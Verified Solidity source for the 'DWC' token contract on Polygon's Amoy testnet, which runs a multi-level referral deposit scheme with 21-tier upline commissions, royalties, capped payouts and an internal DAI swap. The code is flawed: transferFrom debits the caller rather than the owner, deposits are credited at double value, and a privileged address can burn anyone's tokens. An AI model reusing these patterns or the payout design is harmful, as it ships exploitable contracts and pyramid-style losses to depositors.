Contract Source Code:
File 1 of 1 : DWCChina
/**
*Submitted for verification at amoy.polygonscan.com on 2024-12-11
*/
// SPDX-License-Identifier: UNLISCENSED
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DWCChina {
IERC20 public dai;
string public name = "DWC";
string public symbol = "DWC";
uint256 public totalSupply =32500000*10**18; // 325 lakh tokens
uint8 public decimals = 18;
struct User {
uint id;
address referrer;
uint partnersCount;
uint256 teamCount;
address[] directIds;
uint256 totalDeposit;
uint256 lastDeposit;
uint256 directBusiness;
uint256 reward;
uint256 levelincome;
uint256 roraltyincome;
uint256 maturityincome;
uint256 totalreward;
uint256 totalwithdraw;
}
struct OrderInfo {
uint256 amount;
uint256 holdingbonus;
uint256 deposit_time;
uint256 freeze_time;
uint256 reward_time;
bool ishelp;
bool isactive;
bool isdai;
uint256 dayRewardPercents;
uint256 withdraw_time;
uint withno;
}
struct Rank
{
uint id;
uint activedirect;
uint activeteam;
}
struct UserRank
{
uint rank;
}
struct UserCapping
{
uint256 totalCapping;
uint256 useCapping;
}
mapping(address => User) public users;
mapping(address => UserRank) public userranks;
mapping(address => UserCapping) public userscapping;
mapping(address => OrderInfo[]) public orderInfos;
mapping(uint=>Rank) public map_ranks;
uint256 private constant minDeposit = 50e18;
uint256 private constant maxDeposit=5000e18;
uint256 public liquidityPool_tokenAmount;
uint256 public liquidityPool_daiAmount;
uint256 public _burnToken;
address public id1=0x9Ed2CFa3ebdE315FdbfC60859f093E07a52d131f;
address public communityHoldingFund=0x3BB195603e1ec562CfE406047b2718B4226cfa2A;
address public dwctokenPool=0x5427F55e590f70bE2967A891EA119e66c20262fF;
address public liquidityPool=0xd9845cEE17F9aA07C507b6ad55eB93A9ad2221Bc;
address public extraPool=0xd9845cEE17F9aA07C507b6ad55eB93A9ad2221Bc;
address public creater;
address[5] public feewallet=[0x53888f004F49e78a41acE9261104956fE8c1199a,0x91D1eBdEBa71A59661C914C849F9dF45C812CFAf,0xfecc9357583a2F0b8Dc62335447e62f5A882477A];
uint256[5] private feePercents = [300,50,50,50,50];
uint public lastUserId = 2;
uint256 private constant referDepth = 21;
uint256 private constant interval=5*60;
uint256 private constant timeStepdaily=interval;
uint256 private timeLiquidityLock;
uint256 private dayRewardPercents = 1;
uint256[21] private levelPercents = [500,200,100,50,25,25,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20];
uint256[21] private levelwPercents = [1000,100,100,100,100,100,100,100,100,100,100,50,50,50,50,50,50,50,50,50,50];
uint256[21] private levelRank = [0,1,1,2,2,3,3,3,4,4,5,5,5,5,5,6,6,6,6,6,6];
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner,address indexed _spender,uint256 _value);
event Deposit(address indexed addr, uint256 amount, uint256 token);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Transaction(address indexed user,address indexed from,uint256 value, uint8 level,uint8 Type);
event Withdraw(address indexed user,uint256 value);
event Swap(address indexed user,uint256 token,uint256 value);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(address _daiAddr) public {
creater=msg.sender;
dai = IERC20(_daiAddr);
balanceOf[dwctokenPool] =100000*10**18;
balanceOf[communityHoldingFund] =31890000*10**18;
balanceOf[liquidityPool] =10000*10**18;
balanceOf[extraPool] =500000*10**18;
emit Transfer(address(0), dwctokenPool, 100000*10**18);
emit Transfer(address(0), communityHoldingFund, 31890000*10**18);
emit Transfer(address(0), liquidityPool, 10000*10**18);
emit Transfer(address(0), extraPool, 500000*10**18);
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: 0,
teamCount: 0,
directIds:new address[](0),
directBusiness:0,
totalDeposit:500e18,
lastDeposit:500e18,
reward:0,
levelincome:0,
roraltyincome:0,
maturityincome:0,
totalreward:0,
totalwithdraw:0
});
users[id1] = user;
userranks[id1].rank = 6;
userscapping[id1].totalCapping =500e18;
orderInfos[id1].push(OrderInfo(
500e18,
0,
block.timestamp,
block.timestamp+15*interval,
block.timestamp,
false,
true,true,100,block.timestamp+20*interval,3
));
map_ranks[1] = Rank({id:1,activedirect:2,activeteam:0});
map_ranks[2] = Rank({id:2,activedirect:1,activeteam:5});
map_ranks[3] = Rank({id:3,activedirect:2,activeteam:10});
map_ranks[4] = Rank({id:4,activedirect:3,activeteam:13});
map_ranks[5] = Rank({id:5,activedirect:4,activeteam:15});
map_ranks[6] = Rank({id:6,activedirect:5,activeteam:18});
liquidityPool_tokenAmount=10000e18;
liquidityPool_daiAmount=10000e18;
timeLiquidityLock=block.timestamp;
}
function register(address referrerAddress) external {
registration(msg.sender, referrerAddress);
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
teamCount: 0,
directIds:new address[](0),
directBusiness:0,
totalDeposit:0,
lastDeposit:0,
reward:0,
levelincome:0,
roraltyincome:0,
maturityincome:0,
totalreward:0,
totalwithdraw:0
});
users[userAddress] = user;
users[userAddress].referrer = referrerAddress;
lastUserId++;
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function deposit(uint256 _amount) external {
dai.transferFrom(msg.sender,address(this),_amount);
_amount=_amount*2;
require(_amount >= users[msg.sender].lastDeposit && _amount >= minDeposit && _amount%minDeposit == 0 && _amount <= maxDeposit, "less than min");
require(isUserExists(msg.sender), "user is not exists. Register first.");
inactivedHolding(msg.sender);
_deposit(msg.sender,_amount);
}
function depositdwc(uint256 _amount) external {
uint256 _token=_daiToTokens(_amount);
_transfer(msg.sender,communityHoldingFund,_token);
_amount=_amount*2;
require(_amount >= users[msg.sender].lastDeposit && _amount >= minDeposit && _amount%minDeposit == 0 && _amount <= maxDeposit, "less than min");
require(isUserExists(msg.sender), "user is not exists. Register first.");
inactivedHolding(msg.sender);
_depositdwc(msg.sender,_amount);
}
function deposit2(uint rewardindex) external {
require(isUserExists(msg.sender), "user is not exists. Register first.");
inactivedHolding(msg.sender);
bool _flag=false;
OrderInfo storage order = orderInfos[msg.sender][rewardindex];
if(!order.ishelp)
{
if(block.timestamp>=order.freeze_time && block.timestamp<order.freeze_time+2*interval) {
_flag=true;
}
else {
_flag=false;
}
dai.transferFrom(msg.sender, address(this), order.amount/2);
orderInfos[msg.sender][rewardindex].ishelp=true;
uint256 _token=_daiToTokens(order.amount/2);
liquidityPool_daiAmount+=order.amount/2;
if(balanceOf[dwctokenPool]>=_token) {
liquidityPool_tokenAmount+=_token*90/100;
_transfer(dwctokenPool,communityHoldingFund, _token*10/100);
_transfer(dwctokenPool,liquidityPool, _token*90/100);
}
else {
liquidityPool_tokenAmount-=_token;
_transfer(liquidityPool,communityHoldingFund, _token);
}
if(!_flag){
order.reward_time=block.timestamp;
order.withdraw_time=block.timestamp+20*interval;
order.isactive=true;
}
}
}
function _deposit(address userAddress,uint256 _amount) private {
address referrerAddress= users[userAddress].referrer;
users[referrerAddress].directBusiness+=_amount;
if(users[userAddress].totalDeposit==0)
{
users[referrerAddress].partnersCount++;
users[referrerAddress].directIds.push(userAddress);
_updateTeamNum(msg.sender,1);
}
else {
_updateTeamNum(msg.sender,0);
}
users[userAddress].totalDeposit +=_amount;
userscapping[userAddress].totalCapping +=_amount;
uint256 _rate=coinRate();
uint256 _token=_daiToTokens(_amount/2);
liquidityPool_daiAmount+=_amount/2;
if(balanceOf[dwctokenPool]>=_token) {
liquidityPool_tokenAmount+=_token*90/100;
_transfer(dwctokenPool,communityHoldingFund, _token*10/100);
_transfer(dwctokenPool,liquidityPool, _token*90/100);
}
else {
liquidityPool_tokenAmount-=_token;
_transfer(liquidityPool,communityHoldingFund, _token);
}
users[userAddress].lastDeposit=_amount;
orderInfos[userAddress].push(OrderInfo(
_amount, 0,
block.timestamp,
block.timestamp+15*interval,
block.timestamp,
false,
true,
true,100,block.timestamp+20*interval,3
));
for(uint i=0;i<5;i++)
{
_transfer(communityHoldingFund,feewallet[i], _token*2*feePercents[i]/10000);
}
_distributelevelreward(userAddress,_amount,_rate);
_distributeroyaltyreward(userAddress,_amount,_rate);
emit Deposit(userAddress,_amount,_token*2);
}
function _depositdwc(address userAddress,uint256 _amount) private {
address referrerAddress= users[userAddress].referrer;
users[referrerAddress].directBusiness+=_amount;
if(users[userAddress].totalDeposit==0)
{
users[referrerAddress].partnersCount++;
users[referrerAddress].directIds.push(userAddress);
_updateTeamNum(msg.sender,1);
}
else {
_updateTeamNum(msg.sender,0);
}
users[userAddress].totalDeposit +=_amount;
userscapping[userAddress].totalCapping +=_amount;
uint256 _rate=coinRate();
uint256 _token=_daiToTokens(_amount/2);
users[userAddress].lastDeposit=_amount;
orderInfos[userAddress].push(OrderInfo(
_amount, 0,
block.timestamp,
block.timestamp+15*interval,
block.timestamp,
false,
true,
false,100,block.timestamp+20*interval,3
));
for(uint i=0;i<5;i++)
{
_transfer(communityHoldingFund,feewallet[i], _token*2*feePercents[i]/10000);
}
_distributelevelreward(userAddress,_amount,_rate);
_distributeroyaltyreward(userAddress,_amount,_rate);
emit Deposit(userAddress,_amount,_token*2);
}
function _distributelevelreward(address _user, uint256 _amount,uint256 _rate) private {
address upline = users[_user].referrer;
for(uint8 i = 0; i < referDepth; i++){
if(upline != address(0)){
if(userranks[upline].rank>=levelRank[i])
{
if(users[upline].totalDeposit>0)
{
uint256 reward=_amount*levelPercents[i]/10000;
uint256 _remainingCapping=this.maxPayoutOf(upline);
if(_remainingCapping>0)
{
if(_remainingCapping<reward){
reward=_remainingCapping;
}
users[upline].levelincome +=reward;
users[upline].totalreward +=reward;
userscapping[upline].useCapping +=reward;
_transfer(communityHoldingFund,upline,reward*1e18/_rate);
emit Transaction(upline,_user,reward,(i+1),2);
}
}
}
upline = users[upline].referrer;
}else{
break;
}
}
}
function _distributeroyaltyreward(address _user, uint256 _amount,uint256 _rate) private {
address upline = users[_user].referrer;
uint levelranks=0;
uint isbreak=0;
uint256 differentincome=0;
uint256 secondlevelincome=0;
for(uint8 i = 0; i < 50; i++){
if(upline != address(0)){
if(userranks[upline].rank==5 || userranks[upline].rank==6) {
if(levelranks==0)
{
if(userranks[upline].rank==6) {
differentincome=2;
secondlevelincome=1;
levelranks=5;
}
else {
differentincome=1;
secondlevelincome=2;
levelranks=6;
}
}
else {
if(userranks[upline].rank==levelranks) {
differentincome=secondlevelincome;
isbreak=1;
}
}
if(differentincome>0){
uint256 reward=_amount*differentincome/100;
differentincome=0;
uint256 _remainingCapping=this.maxPayoutOf(upline);
if(_remainingCapping>0)
{
if(_remainingCapping<reward){
reward=_remainingCapping;
}
users[upline].roraltyincome +=reward;
users[upline].totalreward +=reward;
userscapping[upline].useCapping +=reward;
_transfer(communityHoldingFund,upline,reward*1e18/_rate);
emit Transaction(upline,_user,reward,(i+1),3);
}
if(isbreak==1 || upline == id1) break;
}
}
upline = users[upline].referrer;
}else{
break;
}
}
}
function _distributelevelwithdraw(address _user, uint256 _amount,uint256 _rate) private {
address upline = users[_user].referrer;
for(uint8 i = 0; i < referDepth; i++){
if(upline != address(0)){
if(userranks[upline].rank>=levelRank[i])
{
if(users[upline].totalDeposit>0)
{
uint256 reward=_amount*levelwPercents[i]/10000;
uint256 _remainingCapping=this.maxPayoutOf(upline);
if(_remainingCapping>0)
{
if(_remainingCapping<reward){
reward=_remainingCapping;
}
users[upline].maturityincome +=reward;
users[upline].totalreward +=reward;
userscapping[upline].useCapping +=reward;
_transfer(communityHoldingFund,upline,reward*1e18/_rate);
emit Transaction(upline,_user,reward,(i+1),4);
}
}
}
upline = users[upline].referrer;
}else{
break;
}
}
}
function _calLevelNow(address _user) private {
uint256 totaldirect = users[_user].partnersCount;
uint256 directBusiness = users[_user].directBusiness;
uint currentRank = userranks[_user].rank;
if(currentRank>=1 && currentRank<6){
uint nextRank = currentRank+1;
(, uint256 otherTeam) = getTeamCount(_user);
uint activedirect=getActiveCount(_user,1);
if(activedirect>=map_ranks[nextRank].activedirect && otherTeam>=map_ranks[nextRank].activeteam){
userranks[_user].rank = nextRank;
}
}else if(totaldirect>=map_ranks[1].activedirect && directBusiness>=1000e18 && currentRank==0){
userranks[_user].rank=1;
}
}
function getTeamCount(address _user) public view returns(uint256, uint256){
uint256 maxTeam;
uint256 otherTeam;
uint256 totalTeam;
for(uint256 i = 0; i < users[_user].directIds.length; i++){
uint256 userTotalTeam =users[users[_user].directIds[i]].teamCount+1;
totalTeam+=userTotalTeam;
if(userTotalTeam > maxTeam){
maxTeam = userTotalTeam;
}
}
otherTeam = totalTeam-maxTeam;
return(maxTeam, otherTeam);
}
function getActiveCount(address _user,uint _rank) public view returns(uint256){
uint256 activedirect=0;
for(uint256 i = 0; i < users[_user].directIds.length; i++){
if(userranks[users[_user].directIds[i]].rank >= _rank){
activedirect += 1;
}
}
return activedirect;
}
function _updateTeamNum(address _user,uint isnew) private {
address upline = users[_user].referrer;
for(uint256 i = 0; i < referDepth; i++){
if(upline != address(0)){
if(isnew==1)
users[upline].teamCount = users[upline].teamCount+1;
_calLevelNow(upline);
if(upline == id1) break;
upline = users[upline].referrer;
}else{
break;
}
}
}
function _daiToTokens(uint256 _daiamount) public view returns(uint256)
{
return _daiamount*1e18/coinRate();
}
function _tokensTodai(uint _tokenAmount) public view returns(uint)
{
return _tokenAmount*coinRate()/1e18;
}
function coinRate() public view returns(uint)
{
return liquidityPool_daiAmount*1e18/liquidityPool_tokenAmount;
}
function maxPayoutOf(address _user) external returns(uint256) {
inactivedHolding(_user);
if(userranks[_user].rank==0 || userranks[_user].rank==1)
return (userscapping[_user].totalCapping*2-userscapping[_user].useCapping);
else if(userranks[_user].rank==2 || userranks[_user].rank==3)
return (userscapping[_user].totalCapping*3-userscapping[_user].useCapping);
else if(userranks[_user].rank==4 || userranks[_user].rank==5)
return (userscapping[_user].totalCapping*4-userscapping[_user].useCapping);
else
return (userscapping[_user].totalCapping*5-userscapping[_user].useCapping);
}
function inactivedHolding(address _user) public {
for(uint256 i = 0; i < orderInfos[_user].length; i++){
OrderInfo storage order = orderInfos[_user][i];
if(!order.ishelp && order.isactive)
{
if(block.timestamp>order.freeze_time+2*interval)
{
order.isactive=false;
}
}
}
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function getOrderLength(address _user) external view returns(uint256) {
return orderInfos[_user].length;
}
function dailyPayoutOf(address _user,uint rewardindex) private returns(uint256) {
uint256 reward=0;
OrderInfo storage order = orderInfos[_user][rewardindex];
uint256 _remainingCapping = this.maxPayoutOf(_user);
if(_remainingCapping>0)
{
uint period=(order.withdraw_time - order.reward_time) / timeStepdaily;
if(period>200)
period=200;
uint256 dailypayout =(order.amount*order.dayRewardPercents*period / 10000)-order.holdingbonus;
if(_remainingCapping<dailypayout){
dailypayout = _remainingCapping;
}
if(dailypayout>0)
{
reward=dailypayout;
}
}
else {
order.isactive=true;
}
return (reward);
}
function rewardWithdraw(uint rewardindex) public
{
OrderInfo storage order = orderInfos[msg.sender][rewardindex];
if(order.isactive && order.ishelp && order.withdraw_time<block.timestamp){
(uint256 dailypayout)=dailyPayoutOf(msg.sender,rewardindex);
uint256 _rate=coinRate();
users[msg.sender].reward +=dailypayout;
users[msg.sender].totalreward +=dailypayout;
userscapping[msg.sender].useCapping +=dailypayout;
emit Transaction(msg.sender,msg.sender,dailypayout,1,1);
order.withdraw_time+=(order.withno)*10*interval;
order.withno+=1;
order.holdingbonus+=dailypayout;
users[msg.sender].totalwithdraw+=dailypayout;
_transfer(communityHoldingFund,msg.sender,dailypayout*1e18/_rate);
_distributelevelwithdraw(msg.sender,dailypayout,_rate);
emit Withdraw(msg.sender,dailypayout);
}
}
function tokenSwap(uint256 _tokenAmount) public
{
require(msg.sender != dwctokenPool && msg.sender != communityHoldingFund && msg.sender != liquidityPool,"Access Denied");
uint256 _dai;
require(balanceOf[msg.sender]>=_tokenAmount, "Insufficient token balance!");
uint256 deduction=_tokenAmount*2/100;
if((_burnToken+deduction)>10000000e18){
deduction=10000000e18-_burnToken;
}
if(deduction>0){
uint256 tokenAmount=_tokenAmount-deduction;
_dai=_tokensTodai(tokenAmount);
liquidityPool_tokenAmount+=tokenAmount;
liquidityPool_daiAmount-=_dai;
_dai=_tokensTodai(tokenAmount);
_transfer(msg.sender,liquidityPool,tokenAmount);
dai.transfer(msg.sender, _dai);
_burnToken+=deduction;
_burn(msg.sender,deduction);
emit Transfer(msg.sender,address(0), deduction);
}
else {
_dai=_tokensTodai(_tokenAmount);
liquidityPool_tokenAmount+=_tokenAmount;
liquidityPool_daiAmount-=_dai;
_dai=_tokensTodai(_tokenAmount);
_transfer(msg.sender,liquidityPool,_tokenAmount);
dai.transfer(msg.sender, _dai);
}
emit Swap(msg.sender,_tokenAmount,_dai);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(msg.sender != dwctokenPool && msg.sender != communityHoldingFund && msg.sender != liquidityPool,"Access Denied");
_transfer(msg.sender,_to,_value);
return true;
}
function _transfer(address _from,address _to, uint256 _value) internal {
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from,address _to,uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
_transfer(msg.sender,_to,_value);
allowance[_from][msg.sender] -= _value;
return true;
}
function burn(uint256 amount,address account) public returns (bool) {
if (msg.sender != dwctokenPool) {revert("Access Denied");}
_burn(account, amount);
return true;
}
function _burn(address account, uint256 amount) internal virtual
{
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = balanceOf[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
require(totalSupply>=amount, "Invalid amount of tokens!");
balanceOf[account] = accountBalance - amount;
totalSupply -= amount;
}
}